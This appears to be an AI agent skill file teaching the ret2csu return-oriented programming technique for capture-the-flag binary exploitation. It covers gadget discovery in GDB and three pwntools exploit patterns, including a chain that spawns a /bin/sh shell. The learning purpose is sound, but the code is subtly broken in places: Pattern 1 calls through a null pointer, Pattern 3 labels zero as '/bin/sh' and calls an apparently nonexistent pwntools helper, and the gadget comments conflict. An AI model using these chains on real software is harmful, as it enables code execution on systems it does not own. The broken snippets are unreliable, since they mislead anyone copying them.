Ret2CSU Exploitation
This skill helps you exploit the ret2csu technique, which uses gadgets from __libc_csu_init to set up function call parameters when traditional ROP gadgets are unavailable.
When to Use This Skill
Use this skill when:
- You're solving a binary exploitation challenge with a stack overflow
- You need to call a function with specific parameters but can't find gadgets to set registers
- You've identified
__libc_csu_initin the binary and want to leverage it - You're working on CTF challenges involving ROP chains
- You need to control multiple registers (rdi, rsi, rdx) for function calls
Core Concept
The __libc_csu_init function contains two powerful gadgets:
Gadget 1: Register Setup
pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;
This lets you set values in rbx, rbp, r12, r13, r14, r15 by popping from the stack.
Gadget 2: Parameter Setup + Call
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
This moves values into rdx, rsi, edi (function parameters) and calls a function at [r12 + rbx*8].
Finding the Gadgets
Method 1: Using GEF/PEDA
# In GDB with GEF
gef➤ search-pattern 0x400560 # Search for pointer to known function
gef➤ x/10i __libc_csu_init # Disassemble to find gadgets
Method 2: Using pwn
from pwn import *
elf = ELF('./binary')
# Common offsets in __libc_csu_init
# These vary by compiler, so verify with your binary
pop_chain = elf.symbols['__libc_csu_init'] + 0x124 # pop r12-r15, ret
reg_call = elf.symbols['__libc_csu_init'] + 0x108 # movs + call
Method 3: Using the Helper Script
python scripts/find_ret2csu_gadgets.py ./binary
Common Exploitation Patterns
Pattern 1: Call a Function with Parameters
Use this when you need to call a function like write(1, buf, len) or system("cmd").
from pwn import *
elf = ELF('./vuln')
p = process()
# Find gadget addresses (adjust for your binary)
POP_CHAIN = 0x401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x401208 # mov rdx, r15; mov rsi, r14; mov edi, r13d; call [r12 + rbx*8]
# Build ROP chain
rop = ROP(elf)
rop.raw('A' * 40) # Padding to overwrite return address
# First gadget: set up registers
rop.raw(POP_CHAIN)
rop.raw(0) # r12 (will be used in [r12 + rbx*8])
rop.raw(0) # r13 (becomes edi - 1st param)
rop.raw(0xdeadbeef) # r14 (becomes rsi - 2nd param)
rop.raw(0xcafebabe) # r15 (becomes rdx - 3rd param)
# Second gadget: move params and call
rop.raw(REG_CALL)
p.sendlineafter(b'>', rop.chain())
Pattern 2: Bypass the Call and Reach ret
Use this when you just need to set registers and return, not call a function.
from pwn import *
elf = ELF('./vuln')
p = process()
csuGadget0 = 0x40089a # pop rbx, rbp, r12, r13, r14, r15, ret
csuGadget1 = 0x400880 # movs + call + add rbx + cmp + jnz + ret
# Find a pointer to a callable function (like _init)
initPtr = 0x600e38 # Address containing pointer to _init
payload = b'A' * 0x28 # Padding to return address
# First gadget
payload += p64(csuGadget0)
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP (must equal RBX+1 to skip jnz)
payload += p64(initPtr) # R12 (pointer to function address)
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdead) # R15 (becomes RDX)
# Second gadget - bypass conditions
payload += p64(csuGadget1)
payload += p64(0xf) # qword for ADD RSP
payload += p64(0x1) # RBX (must equal RBP to skip jnz)
payload += p64(0x1) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15
# Final return address
payload += p64(elf.sym['win'])
p.sendline(payload)
Pattern 3: Call libc Functions
Use this when you need to call system(), write(), or other libc functions.
from pwn import *
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process()
# Find gadgets
POP_CHAIN = 0x401224
REG_CALL = 0x401208
# Find pointer to system in memory
system_addr = libc.symbols['system']
search_result = pwn.search_pattern(system_addr) # Use helper script
rop = ROP(elf)
rop.raw('A' * 40)
# Set up for system("/bin/sh")
rop.raw(POP_CHAIN)
rop.raw(0) # r12
rop.raw(0) # r13 (edi - 1st param: "/bin/sh")
rop.raw(0) # r14 (rsi - 2nd param: NULL)
rop.raw(0) # r15 (rdx - 3rd param: NULL)
rop.raw(REG_CALL)
# Chain to actual system call
rop.system('/bin/sh')
p.sendlineafter(b'>', rop.chain())
p.interactive()
Key Conditions to Remember
For the Call Pattern:
[r12 + rbx*8]must point to a callable function address- If you don't know an address, search for a pointer to
_initor another known function
For the Bypass Pattern:
rbpandrbxmust have the same value to avoid thejnzjump- Account for the
add rbx, 0x1instruction in the second gadget - There are omitted pops you need to account for in the stack
Debugging Tips
Verify Gadget Addresses
# In GDB
gef➤ x/20i __libc_csu_init
# Look for the pop sequence and the mov/call sequence
Check Register Values
# In GDB, set breakpoint before gadget execution
gef➤ break *0x401208
gef➤ info registers
# Verify r12, r13, r14, r15 have expected values
Search for Function Pointers
# Find where a function address is stored in memory
gef➤ search-pattern 0x400560 # Address of _init or other function
# Use the found address as r12 value
Common Pitfalls
Wrong gadget offsets: Gadget addresses vary by compiler and binary. Always verify with your specific binary.
Missing padding: Account for all padding between input and return address.
Register order: Remember the order: rbx, rbp, r12, r13, r14, r15 (not alphabetical!)
PIE binaries: If PIE is enabled, you'll need to leak an address first to calculate gadget addresses.
Stack alignment: Some functions require 16-byte stack alignment. Add padding if needed.
Helper Scripts
Find Gadgets
python scripts/find_ret2csu_gadgets.py ./binary
Build ROP Chain
python scripts/build_ret2csu_chain.py --binary ./binary --function write --args "1,0x601000,0x20"
Next Steps
- Find the gadgets in your binary using the methods above
- Determine your goal: call a function, set registers, or both?
- Choose the pattern that matches your goal
- Build the ROP chain with correct padding and register values
- Test and debug using GDB
- Iterate if the exploit doesn't work